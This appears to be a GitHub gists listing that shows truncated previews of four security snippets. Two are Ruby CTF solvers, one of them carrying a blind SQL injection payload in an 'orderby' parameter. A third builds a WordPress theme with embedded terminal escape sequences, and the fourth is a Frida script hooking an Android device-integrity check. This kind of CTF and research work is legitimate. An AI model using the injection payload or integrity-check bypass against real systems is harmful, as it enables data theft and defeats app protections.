This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| require "net/http" | |
| require "uri" | |
| url = URI.parse("http://ctf.nullcon.net/challenges/programming/challenge.php") | |
| found = false | |
| while not found do | |
| response = Net::HTTP.get_response(url) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| require 'net/http' | |
| require 'uri' | |
| def make_request(url, payload) | |
| uri = URI.parse("http://www.bitcoinctf.com#{url}") | |
| params = { | |
| :orderby => "1, (select case when (#{payload}) then 1 else 1*(select table_name from information_schema.tables)end)=1", | |
| :limit => '1' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| colored = "\e[34mColored Text\e[0m" | |
| bold = "\e[1m Bold!\e[0m" | |
| style_css = <<CSS.sub('{1}', colored).sub('{2}', bold).strip | |
| /* | |
| Theme Name: bad_theme | |
| Theme URI: http://www.firefart.net | |
| Description: {1} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var printBacktrace = function () { | |
| Java.perform(function() { | |
| var JLog = Java.use('android.util.Log'), JException = Java.use('java.lang.Exception'); | |
| console.warn("Call Stack:"); | |
| console.warn(JLog.getStackTraceString(JException.$new())); | |
| }); | |
| }; | |
| Java.perform(function() { | |
| var targetClass = Java.use("at.asitplus.utils.deviceintegrity.DeviceIntegrityCheck"); |